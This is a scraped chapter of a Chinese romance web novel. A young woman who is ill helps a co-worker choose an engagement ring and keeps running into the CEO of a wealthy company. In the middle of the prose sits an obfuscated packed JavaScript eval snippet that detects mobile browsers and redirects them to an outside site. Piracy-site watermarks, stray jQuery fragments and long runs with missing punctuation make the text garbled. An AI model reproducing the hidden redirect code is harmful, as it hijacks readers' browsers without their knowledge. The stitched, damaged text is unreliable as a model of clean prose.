第17章
作品:《占为己有》 还没正式跟琉玥集团签下合同,商楹她们没有掉以轻心,继续跟进项目组的工作。
不只是线上发邮件发微信这么简单,她跟江菡打着配合,到线下店铺与人详谈。虽然没有取得阶段性的进展,但比之前坐以待毙好很多,两天下来,她们谈成了三单,一个是咖啡店,一个是文具店,还有一个是餐厅。
周五下午,两人从没谈拢的奶茶店裏出来,本周的工作也差不多结束。
时间进入12月,柳城空中弥漫的寒意更甚,寒风在大街小巷乱窜,商楹戴着口罩系着围巾穿着羽绒服,也仍然感到具体的冷意,丝丝缕缕像是想往她骨头裏钻。
江菡跟商楹差不多年龄,在一旁朝着自己手心哈了口气,又看着自己的同事,问:“商楹,你是不是很不舒服?我觉得你在店裏的时候脸色就好差劲。”
江菡刚说完,商楹偏过头,打了个喷嚏。
并不是后知后觉脑袋有些昏沉,只是下午工作忙碌没时间照顾自己,她摸摸自己在发烫的额头,无奈地嘆息一声:“好像是的。”她问,“你一会儿怎么回去?”
“我打车,正好家离这边不远。”
“好,我地铁,周末愉快。”
“周末愉快。”
两人分开,商楹朝着地铁口走。
路上,她纠结半晌,还是给吴桂兰打了通电话:“奶奶,我想劳烦一下您今晚和明天照顾一下小璇。”
吴桂兰一听她说话的鼻音,很了然:“生病啦?”
又连忙应答下来:“什么劳烦不劳烦的,我一会儿就把小璇接到家裏来,但是你要提前跟她说清楚啊,免得她担心起来,这样你回不回家效果都一样,都会发病。”
商璇的病情极不稳定,商楹以前照顾她经验还不多的时候,有一次自己得了病毒性流感没有立即隔离开来,传染给了她,当晚她便发了高热,而高热又是癫痫发作的重要诱因之一。
那次,商璇大发作,救护车半夜过来,车辆高频尖锐的声音刺着商楹的耳膜。
往后,商楹在彻底退烧之前,都不会待在家,其实待在家也不是不可以,做好隔离就行,但商璇会因为担心她而有很大的情绪起伏,也可能会让癫痫发作。保险起见,在生病之初她都会尽量不在家。
“奶奶,我知道。”商楹回忆起这些,咳嗽了声,“我就跟她说我出差去了。”
吴桂兰长嘆:“好,你多穿点衣服,小楹,别让奶奶担心,哎哟,你听听你,还在咳嗽。”
被长辈关心,商楹口罩下的嘴唇咧了咧:“我会快点好起来的。”
挂断电话,她给商璇发语音,说自己最快明天就回来,最晚后天,只是鼻音无法遮挡,她尽量用松快的语气让妹妹放心。
好在妹妹从来不会怀疑她这个姐姐会撒谎,答应她自己会乖乖地在奶奶家住着,不给奶奶添麻烦,末尾叮嘱着让她快点回来。
安排好一切,商楹再重重地咳了下,联系路遥,说明情况。
晚上,路遥下班回来打开门,客厅角落裏立着一盏臺灯,照着正在沙发上睡觉的商楹。
跟鱼灵分手以后她就换了住址,距离“MUSE”更近些,但是是个小点的一居室,因为她想着以后有女朋友了,说什么也不要在家长面前演室友了。
下午在收到商楹的消息后,她就在微信裏让商楹睡她的房间,晚上她自己睡沙发就行。
现在再看着商楹躺在沙发上,她并不感到意外,因为商楹就是这样一个人。
她也清楚是什么造成了这一切——如果没有那场意外,商楹和商璇现在绝对不是过着这样的生活。
“阿楹,你还好吗?”路遥来到沙发旁边蹲下,关心地问,“现在体温多少?”
商楹半张脸都埋在被子裏,她的意识沉重,却也能回答:“半小时前量过,三十八度七。”
她睁开眼,双眼因为高烧覆上一层水光,朝对方笑笑,很有经验地说:“再复烧两回应该就可以彻底退烧了。”又咳了下,“你离我远点,免得传染给你。”
路遥没往后退:“传染给我又咋了,我正愁请假没借口,最近做美甲做得我眼花缭乱。”
问:“要不要喝点水?”
“可以。”
“我去给你接。”
喉咙像是有火在烤,喝过温水后才好了点。
客厅空调开着,商楹坐在沙发上,身上围着被子,手裏还抱着水杯,路遥在茶几旁坐着吃着干锅外卖,跟她距离不远,但她鼻腔堵塞,闻不到一点儿饭菜的味道。
“你那个招商项目进行得咋样了?”路遥扒拉着米饭,随口问起来商楹的工作。
商楹回答:“还行,跟同事说动了一家咖啡店一家书店一家餐厅。”
“我看学姐发了朋友圈,说总冠名有着落了?”
“嗯。”
“我觉得你们这个项目也没有进行多久啊,总冠名这么快就有着落了。”
商楹想了想,还是说:“……对面是琉玥集团。”
提到这个名字她就会想起来楼照影,嗓子在这会儿再次发痒,她又捧着水杯喝水。
路遥一听这话,愣了两秒。
她偏过头去看商楹,但嘴巴塞得鼓鼓囊囊的,像一只松鼠,只能一边嚼嚼嚼一边用眼神表达震惊。
商楹接收到她的讯息,明白她的意思,说:“不是凑巧。”
路遥把嘴裏的东西吃完:“我再迟钝也知道不是凑巧了,否则这巧合也太多了,哪哪儿都有楼总的事儿。”
她回想了一下,很不解:“我感觉她对你的态度和对我明显不一样,你们以前真的不认识吗?”
商楹沉吟:“以前只有过一次交集,就是在高中毕业那一天,她的校服脏了,我把我的外套给她了。”
“难道她就记住你了?”
“那天我没有说我的名字,她不可能知道我是谁,我在学校一直都挺默默无闻的。”商楹摇头。
路遥默然几秒,一脸不可置信:“你的意思是,你顶着这张脸,默默无闻?”
商楹想到以前学校论坛裏偷拍她的帖子,以及影响她学习的情书,嘴巴动了动:“……我觉得穿着校服挺朴素的。”
路遥往碗裏夹了一颗虾丸:“你们这种人就算穿校服也不一样的好吗,怎么可能默默无闻。而且我记得当初大一刚进校,你跟艺术学院谈那个谁,还有财经学院方那个谁,记不清名字了,但你们一起在校园论坛出道了,后来你一直忙着兼职不怎么待在学校,提到你的帖子才少了点。”
她又看回朋友:“所以,你没有说你的名字难道楼总就不知道了吗?你长相那么有记忆点,没准从临裏商场那天她就想起你了,可能是基于那个外套,所以对你态度不一样?”
商楹垂眼看着杯子裏晃荡的水,没说话。
主要是也不知道说什么,思绪好像随着生病堵住了,转不过来。
等路遥又吃了两颗虾丸,商楹才哑声给了回应,只是口吻极其不确定:“或许是吧?”
她询问朋友:“一件校服外套而已,至于记得那么清楚吗?”
“分人吧,比如我肯定就记不住,我记性差。”路遥说着意识到了很重要的一项,“但是你看,其实你也记住了对不对?要不然你怎么还会记得这么一
件小事一件校服外套能顶几个钱?这么看来她记得很正常啊。”
“……”无法反驳。
“所以这么说的话我感觉你们这次合作可能就是她为了感谢你?这么看来楼总真的人挺好的啊。这种合作表面看上去互惠互利谁也没吃亏但我肯定你会有压力。”
“邮件不是我发的我不会有压力。”
路遥:“你最好是。”
她吃差不多了给外卖盖着盖子:“算了阿楹别想了顺其自然就好。”又打了个哈欠“你呢就好好歇着明天在我这好好养病。”
“我明天上午还要去看戒指。”
“看戒指?你要去给卖戒指的店当手模?”
“不是我那个同村的老乡想求婚嗯……事情还有点复杂挺难解释反正我就陪他去看看。”
路遥回忆起来这个名字:“商飞昂?”
“对。”
“你生着病呢要不别去了。”
“我明天戴帽子戴口罩全副武装。”商楹身体往前把被子往前递路遥把杯子接过放茶几上她又在沙发上躺下“早去早结束下午还要去卸美甲。”
之前吃火锅那晚她们把卸甲时间定在了明天。
路遥持不同意见:“你这种状态干一件事就差不多了我把你明天下午卸甲的预约取消了吧?”
“没事不用。”
路遥见说不动也不再坚持但看着她这副模样忍不住再次确认:“阿楹你要不要去我的床上睡?你是病号去床上睡舒服一些我前两天才换的床单现在还是单身放心。”
商楹笑起来疑惑地问:“跟单身有什么关联?”
路遥白了这个直女一眼:“就是没有两人性/生活床单上不会留有什么痕迹。”
看对方脸色尴尬了一下立马乐了:“非要问!现在得到回答满意了吧!”
商楹揉了揉眉心错开话题:“你这个沙发挺舒服的我睡这裏就好而且你明天还要上班更应该好好休息。”
路遥知道她在坚持什么也只能轻轻嘆息一声:“要是半夜有什么事尽管敲我的门就行保温杯裏我给你接点水。”
“好。”想说谢谢硬生生忍住了。
一整夜商楹果然复烧了两回。
她自己喝水吃药没有敲响路遥的门天快亮时再次合上眼
小说</a>全网首发无弹窗免费阅读caixs.com?(请来才
小说
看最新章节
完整章节)这一觉睡得比较沉就连路遥去上班的动静都没听到
。
不过也可能是因为路遥把一切动作都放得很轻。
醒来体温正常身体还有些不适但能克服。
收拾整理好一切她全副武装只露出个眼睛出门前往跟商飞昂约定的金源大楼。
金源大楼在柳城二环区域是老牌商场生意比不上柳城别的一些商场但店铺的选择更多。
这边不仅有国内外的奢侈店铺也有许多平价店铺。
到达商场时是十一点不发烧后没什么头重脚轻的感觉只是喉咙干涩发痒总想咳嗽。
商飞昂在大楼门口看见她这样愣了下才确认这人是谁又问:“感冒了?”
“嗯。”商楹想速战速决“飞昂哥走吧。”
她以前兼职的项目多对首饰方面也有些了解:“你想求婚的戒指想买多少钱的?”
“五万块以内的。”商飞昂搓搓冻得有些冷的手“最好是钻戒要好看。”
等走进商场暖气洒在身上舒服很多一些基础款戒指都很贵的奢侈品牌商楹不考虑她提前做过功课这会儿直接带着商飞昂进了一家轻奢级的首饰店。
她的注意力都在这上面再加上还戴着帽子视野有遮挡全然没注意到二楼的安全栏那裏站着一道对她而言不算陌生的身影。
楼照影取下了自己的披肩搭在左手手臂上。
她站得笔直右手放在安全栏上指尖在冰凉的栏杆上点着全然感受不到上面的凉意似的。
首饰店是透明玻璃门从她的视角能看见商楹和商飞昂在进去以后受到柜姐的热烈欢迎尽管她看不见商楹的整张脸但旁边的商飞昂笑得很开心弯腰站在柜子旁询问着商楹的意见。
……呵。
阮书意这时从旁边的一家服装店出来:“现在这些杂牌真能标价格啊一件看上去普普通通的羽绒服标价8898我是不缺钱但不代表我是冤大头怎么不直接抢我的钱……”她说着站到楼照影旁边疑惑
楼照影垂下右手:“没什么。”
“想去买首饰?”阮书意顺着她的视线看到了那家首饰店。
“不是我想买。”
“那你今天让我跟你一起来这裏是为了啥啊楼总。”阮书意看了看商场内的装修“这个老牌商场我们都多少年没来过了你还特地过来。”
她说完转过头只见楼照影薄唇轻抿着
依旧盯着那家首饰店。
阮书意无奈:“行,我明白你的意思了,不是你想买,是你想让我给你买。”
她迈开步子:“走吧,我给你买个项链当你回国的礼物,但这家店太便宜了,戴你身上我都觉得掉檔次,你先看看有没有喜欢的,没有我就带你逛贵的。”她笑了声,“我是买不起月湖境,但买个这裏的首饰问题不大。”
楼照影闻言,望着在店裏的两个人,抬了下眉:“好。”
店裏,柜姐取出橱窗裏的另一枚钻戒,想往商楹手指上比对:“想选带钻的款式不用追求越大越好,重点是您女朋友喜欢,如果她平时穿衣服偏休闲,小钻款就很合适,如果喜欢精致感,30-50分的钻石搭配简约戒托……”
商飞昂在一旁挠了挠头:“她喜欢精致的。”
又指着橱窗裏另一枚价格五万八的钻戒:“拿这个给我看看。”
柜姐很有耐心地把这枚戒指取出来:“先生,您的眼光真好,这枚是我们品牌今年主推的经典款之一,上手显得手特别好看。”
“有折扣吗?”
“先生,这款因为工艺和钻石品质都很扎实,其实平时是没有直接折扣的,但您刚好又赶上我们店裏的活动,如果您确定今天要,我们可以免费升级服务。”
这不就等于没有折扣,商飞昂拿不定主意,这个价格超了他的预算。
商楹在一旁问:“有没有同系列小一点的?比如25分款,价格是多少?”
“好的,女士,请稍等。”
柜姐去取商楹说的这款,商飞昂这才有机会跟商楹低语:“超预算了,可咋整,买完这个我就没什么闲钱了。”
“那先看看25分款的。”
“25分款的又太小了,送给她没排面。”
商楹:“……”
她的嗓子有些干痒起来,禁不住偏过头往一旁轻咳。
还没咳完,商飞昂本来懒散的站姿发生改变,他朝着门口的方向点头哈腰,喊了声:“楼总。”
一听这个称呼,商楹的身体僵了僵,她把帽子往下压了些,没有往那个方向看。
楼照影的披肩还搭在手臂上,她听着商飞昂的招呼,一副对这个人没什么印象的模样,先点了点头,才问:“你是哪个部门的?”
“我是营销部的。”商飞昂面上保持着笑容。
楼照影:“这裏不是在公司,你忙你的吧。”
阮书意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179702|187284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感慨:“出来玩都能遇到公司职员,你们集团的工作人员还是太多了。
“怎么不说是因为我的脸让人难忘。
“这还需要说吗?阮书意转过头,对着迎上来的柜姐道,“你好,店裏最贵的项链给我们看看。
项链的橱窗跟钻戒不是一个方向,商楹用余光看见了楼照影的侧影。
楼照影今天的装扮很清雅,上身是一件黑色的高领毛衣,恰好围住了她修长的脖颈,下身是一条质地上乘的裙子,走路的时候裙摆会随着步伐轻轻摆动,腰间缀着一条皮带做点缀,勾出她纤细的腰身,一头长卷发散在脑后,还会跟着轻晃。
商楹不那么灵敏的嗅觉在这一刻似乎能闻到上面的花香,指尖也好似还有被楼照影发尾缠住的感觉。
而楼照影旁边的那位女人,她有些印象,但一时半会想不起来对方叫什么。
她垂眼看了看自己穿着的羽绒服,再次把帽子往下压,以她现在的装扮,她们都没有对视过,楼照影并不会认出她来。
柜姐的声线拉回她的思绪:“先生,女士,你们看看这个25分款的,价格较上一个低八千……
商飞昂陷入纠结。
商楹的注意力不在这上面,就看着他纠结着向朋友们发微信询问。
没一会儿,她又用余光注意到楼照影和朋友没有买到心仪的款式,在柜姐想挽留的眼神和语气中,离开了这家店。
商楹睫羽轻颤,这回直接了些,她的视线穿过玻璃门,追随着楼照影,看着楼照影上了路边的一辆劳斯莱斯。
商飞昂犹豫着钻戒的价格,偏过头,也看见在路边那辆开走的豪车。
他忍不住松口气:“在这居然能遇到集团新任CEO……又不得不慨嘆,“还是有钱人的世界让人羡慕,上来就说买最贵的。还有,楼总的豪车太多了,之前还看她开宾利什么的,这些豪车坐起来到底什么感觉?我这辈子能体验到吗?
商楹的神经还绷着,禁不住问:“飞昂哥,你上次见到这位楼总是什么时候?
在她的思维裏,她已经习惯性地开始怀疑是不是偶然了。
如果今天不是偶然,那楼照影是怎么掌握到动向的?商飞昂对外跟楼照影说的吗?可从刚刚楼照影的问题来看,楼照影对商飞昂并没有半点印象,所以,就算她们没有对视,楼照影也知道是她。
那会误会她吗?是不是误会了
还挺好的?因为她之前也已经明确拒绝了楼照影这回见到她还在跟人选戒指可以彻底死心吧?
“这几天都有她来营销部开会我跟她只有开会的时候见到离得很远。”商飞昂又看回戒指随便一问“怎么问这个。”
商楹不动声色:“那我们今天挑戒指这个事情还有谁知道?”
“就那天你在餐厅见到的那个同事他后来还找我要你的联系方式我给你拒绝了你现在可没心思想这些对吧。”
都是普通职员接触不到楼照影这样的上位者但眼下她不能再继续问下去了。
商楹思绪回笼她笑了笑:“继续选戒指吧没有满意的话还可以换别的店这才刚开始。”
但想要买到心仪的戒指不是很容易尤其是商飞昂看似什么都不懂但想追求极致的性价比。
一个多小时后才选好而且挑来挑去还是回到第一家店买下那款五万八的钻戒。
从商场出来商飞昂拎着袋子心疼极了:“这下我真的一点闲钱都没有了。”
商楹明白他话裏有话是在暗示她自己没钱以后要是借钱别找他。
她不戳破提了下自己的口罩说:“飞昂哥那我就先回去了。”
“一块儿吃个饭呗你今天帮我选戒指出了这么多力。”
“我生病了没什么胃口。”
“行那你回去好好歇着。”
三言两句间局就散了商楹快步走向地铁口先回到路遥那裏睡了个午觉。
-
五点商楹休息过后感觉好上不少她赶到“MUSE”。
快到圣诞节“MUSE”内的氛围也在往这个方向上靠拢角落裏已经提前放上一棵两米高的圣诞树上面挂着一些礼品卡给顾客抽奖用。
路遥在开会商楹在沙发上坐着等待。
她还戴着口罩安安静静地捧着水杯偶尔会有富婆与美甲师的交流流入她的耳裏。
室内很舒服她等了一会儿又被困意侵袭
等看着吴桂兰来喊商璇吃饭路遥在这会儿从楼上下来。
路遥是一个喜怒哀乐很容易就写脸上的人商楹一眼就能看出来她的情绪不是很高。
等到面对面开始卸甲商楹忍不住问:“发生什么事了吗?”
“晚点跟你说。”路遥垮着脸“现在没什么心情。”
“好。”
商楹的这个美甲卸掉也需要四十分钟左右,指尖上的美甲一颗颗去掉,恢复到她的本甲,她顿时觉得轻了些,却也难免会有一些不适应的感觉。
洗好手又涂上护手霜和指缘油,卸甲工作才结束。
路遥很负责地叮嘱着:“阿楹,接下来这三天你都要加强手指的保湿,避免指甲分层,护手霜多涂涂。”
商楹应声:“知道了。”
话音刚落,黎曼在这时凑过来,笑吟吟说:“商小姐,好久不见。”
“曼姐。”商楹没摘下口罩,嗓音还有些发闷。
黎曼的手落在商楹的肩头,弯下腰来:“商小姐,我有个事情想跟你谈谈,不知道您现在是否方便?”
商楹眨了下眼,委婉拒绝:“不好意思,曼姐,我一会儿还得回家。”
她断然不会相信是黎曼想跟她谈事情,一个合作过一次的手模而已,能有什么事情?
要么,楼照影就在二楼的办公室,要么,黎曼是听从了楼照影的吩咐,要向她转达什么。
除此之外,没有别的可能性。
但她跟楼照影之间已经没什么好聊的了,上次在琉玥大楼那天,她把一切都挑明,就是为了阻绝楼照影的想法。
说</a>更新,记住域名caixs.com?(请来才小
说
看最新章节
完整章节)
对于这个答案,黎曼并不意外的模样,人也缓缓站直,又说了两句客套话,她便从容地离开这裏,上了二楼。
路遥的目光直到店长的人影消失了才收回来,她整理好工作臺,跟商楹有气无力地道:“阿楹,我们去楼道裏说吧。”
楼道裏没有空调,湿冷异常,白色灯光往下打,这裏很安静。
路遥坐在梯子上,抱着自己的膝盖,苦笑着说:“我以后大概只负责卸甲了,‘MUSE’开到现在第一位……卸甲师。”
在“MUSE”这样的高端美甲店,之前一直都没有特定的卸甲师,美甲师既做美甲,也会适当负责卸甲,大家做的都是一样的,收入提成很固定,客户指定概率又高,甚至在职业发展上也更有空间,可只负责卸甲的话,定价低、提成少,还无法以自己的美甲技术接触到高价值客户,因为顾客们主要是看美甲技术,而不是卸甲技术。
简言之,路遥往后只负责卸甲,职业发展受到的限制很多。
她越说越委屈:“我昨天说想请假只是闹着玩的啊,这也没请假,怎么就让我只负责卸甲了,现在倒好,那些看不惯我的同事知道了

